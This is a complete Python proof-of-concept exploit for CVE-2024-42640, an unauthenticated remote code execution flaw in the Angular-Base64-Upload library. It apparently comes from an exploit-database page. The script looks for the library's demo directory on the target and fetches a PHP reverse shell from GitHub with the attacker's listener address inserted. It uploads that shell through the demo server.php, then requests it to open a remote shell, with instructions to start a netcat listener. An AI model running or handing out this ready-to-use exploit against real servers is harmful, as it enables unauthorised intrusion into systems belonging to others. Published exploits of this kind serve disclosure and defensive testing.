f8c80e2b5d
4 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE)
139 lines
No EOL
6.2 KiB
Python
Executable file
139 lines
No EOL
6.2 KiB
Python
Executable file
#!/bin/python3
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# Exploit Title: Unauthenticated RCE via Angular-Base64-Upload Library
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# Date: 10 October 2024
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# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9)
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# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9)
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# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
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# Software Link: https://github.com/adonespitogo/angular-base64-upload
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# Version: prior to v0.1.21
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# Tested on: Arch Linux
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# CVE : CVE-2024-42640
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# Severity: Critical - 10.0 (CVSS 4.0)
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# Github Link : https://github.com/rvizx/CVE-2024-42640
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# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html
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# DISCLAIMER:
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# This proof-of-concept (POC) exploit is provided strictly for educational and research purposes.
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# It is designed to demonstrate potential vulnerabilities and assist in testing the security posture of software systems.
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# The author expressly disclaims any responsibility for the misuse of this code for malicious purposes or illegal activities.
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# Any actions taken with this code are undertaken at the sole discretion and risk of the user.
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# The author does not condone, encourage, or support any unauthorized access, intrusion, or disruption of computer systems.
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# Use of this POC exploit in any unauthorized or unethical manner is strictly prohibited.
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# By using this code, you agree to assume all responsibility and liability for your actions.
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# Furthermore, the author shall not be held liable for any damages or legal repercussions resulting from the use or misuse of this code.
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# It is your responsibility to ensure compliance with all applicable laws and regulations governing your use of this software.
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# Proceed with caution and use this code responsibly.
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import re
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import subprocess
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import requests
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import sys
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import os
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import uuid
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import base64
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def banner():
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print('''
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\033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
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\033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
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https://github.com/rvizx/\033[0mCVE-2024-42640
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''')
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def enum(url):
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print("\033[94m[inf]:\033[0m enumerating for dependency installtion directories... ")
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target = f"{url}/bower_components/angular-base64-upload/demo/index.html"
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r = requests.head(target)
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if r.status_code == 200:
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print("\033[94m[inf]:\033[0m target is using bower_components")
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else:
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print("\033[94m[inf]:\033[0m target is not using bower_components")
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target = f"{url}/node_modules/angular-base64-upload/demo/index.html"
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r = requests.head(target)
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if r.status_code == 200:
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print("\033[94m[inf]:\033[0m target is using node_modules")
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else:
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print("\033[94m[inf]:\033[0m target is not using node_modules")
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print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for angular-base64-upload/demo/index.html")
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print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
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print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
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print("\033[91m[err]:\033[0m exiting..")
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exit()
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version = next((line for line in requests.get(target.replace("demo/index.html","CHANGELOG.md")).text.splitlines() if 'v0' in line), None)
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print("\033[94m[inf]:\033[0m angular-base64-upload version: ",version)
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exploit(target)
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def exploit(target):
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print(f"[dbg]: {target}")
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target_server_url = target.replace("index.html","server.php")
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print(f"[dbg]: {target_server_url}")
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payload_url = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
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print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
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ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
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port = input("\033[93m[ins]:\033[0m enter listenter port: ")
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print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
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input("\033[93m[ins]:\033[0m press enter to continue...")
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print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
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response = requests.get(payload_url)
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if response.status_code == 200:
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php_code = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input
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payload_name = str(uuid.uuid4())+".php" # using a uuid for payload name
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with open(payload_name, "w") as file:
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file.write(php_code)
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else:
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print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
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print("\033[91m[err]:\033[0m exiting..")
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exit()
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with open(payload_name, 'rb') as file:
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file_content = file.read()
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base64_payload = base64.b64encode(file_content).decode('utf-8')
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headers = {
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'Content-Type': 'application/json',
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}
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json_data = {
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'base64': base64_payload,
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'filename': payload_name,
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}
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response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
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print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
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updemo_endpoint = f"uploads/{payload_name}"
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print(f"[dbg]: {updemo_endpoint}")
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payload_url = target_server_url.replace("server.php",updemo_endpoint)
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print(f"[dbg]: {payload_url}")
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if response.status_code == 200:
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print(f"\033[94m[inf]:\033[0m reverse-shell is uploaded to {payload_url}")
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print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
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r = requests.get(payload_url)
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if r.status_code == 200:
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print("\033[94m[inf]:\033[0m process complete!")
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else:
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print("\033[91m[err]:\033[0m something went wrong!")
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print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")
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if __name__ == "__main__":
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try:
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banner()
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url = sys.argv[1]
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print(f"\033[94m[inf]:\033[0m target: {url}")
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enum(url)
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except:
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print("[usg]: ./exploit.py <target-url>")
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exit() |